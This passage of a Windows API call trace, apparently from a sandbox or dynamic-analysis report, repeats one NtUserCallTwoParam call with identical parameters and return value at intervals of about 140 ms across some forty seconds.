Param2=0x1, Routine=0x69) returned 0x1 [0114.629] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0114.770] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0114.910] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.051] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.191] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.331] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.472] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.612] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.753] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0115.893] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.034] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.174] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.314] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.454] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.595] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.735] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0116.876] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.016] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.157] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.297] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.437] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.578] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.718] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.858] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0117.999] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.139] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.280] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.420] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.560] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.701] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.841] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0118.982] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.122] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.263] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.403] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.543] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.684] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.824] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0119.966] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.105] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.245] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.386] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.526] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.666] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.807] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0120.947] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.088] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.228] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.368] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.514] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.649] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.790] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0121.930] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.071] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.211] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.351] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.492] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.632] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.773] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0122.913] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.053] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.194] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.334] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.474] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.615] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.756] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0123.896] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.036] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.177] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.317] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.598] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.738] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0124.879] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.022] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.159] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.300] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.440] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.580] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.722] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0125.862] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.002] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.142] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.282] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.423] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.563] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.704] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.844] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0126.985] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.125] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.265] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.406] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.547] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.687] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.827] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0127.967] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0128.108] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0128.248] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0128.388] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0128.560] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0128.719] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0128.857] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.006] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.166] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.295] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.440] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.574] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.718] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0129.875] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.042] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.183] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.323] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.463] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.604] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.744] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0130.900] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.040] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.181] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.321] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.462] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.633] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.774] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0131.914] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.055] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.195] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.335] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.476] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.647] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.788] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0132.940] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.068] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.214] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.349] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.490] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.630] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.770] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0133.911] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.051] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.192] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.332] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.473] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.613] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.758] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0134.894] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.035] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.175] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.315] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.455] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.596] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.736] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0135.877] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.017] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.157] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.298] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.438] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.578] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.719] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0136.859] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.000] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.140] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.280] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.423] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.561] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.702] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.842] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0137.983] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.123] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.263] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.404] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.544] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.684] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.825] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0138.965] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.107] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.248] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.386] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.527] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.667] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.808] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0139.948] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.088] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.229] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.369] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.510] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.650] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.790] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0140.931] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.071] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.212] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.352] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.493] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.633] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.773] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0141.914] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.054] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.195] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.335] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.475] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.616] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.756] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0142.896] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.042] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.177] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.318] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.599] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.739] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0143.879] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.028] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.167] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.300] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.441] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.581] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.722] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0144.862] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.002] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.143] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.283] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.424] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.564] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.705] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.845] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0145.985] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.126] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.266] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.407] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.547] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.687] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.831] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0146.968] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.108] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.249] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.389] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.530] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.670] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.813] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0147.951] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.097] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.232] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.372] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.512] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.653] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.793] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0148.934] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.074] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.214] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.355] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.495] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.636] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.776] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0149.917] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.057] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.197] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.338] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.478] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.619] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.759] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0150.899] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.040] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.180] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.321] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.461] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.602] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.742] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0151.882] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.026] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.163] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.303] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.444] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.584] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.725] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0152.865] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.005] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.146] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.286] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.426] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.567] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.707] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.848] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0153.988] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.129] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.269] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.416] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.550] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.690] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.831] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0154.971] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0155.111] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 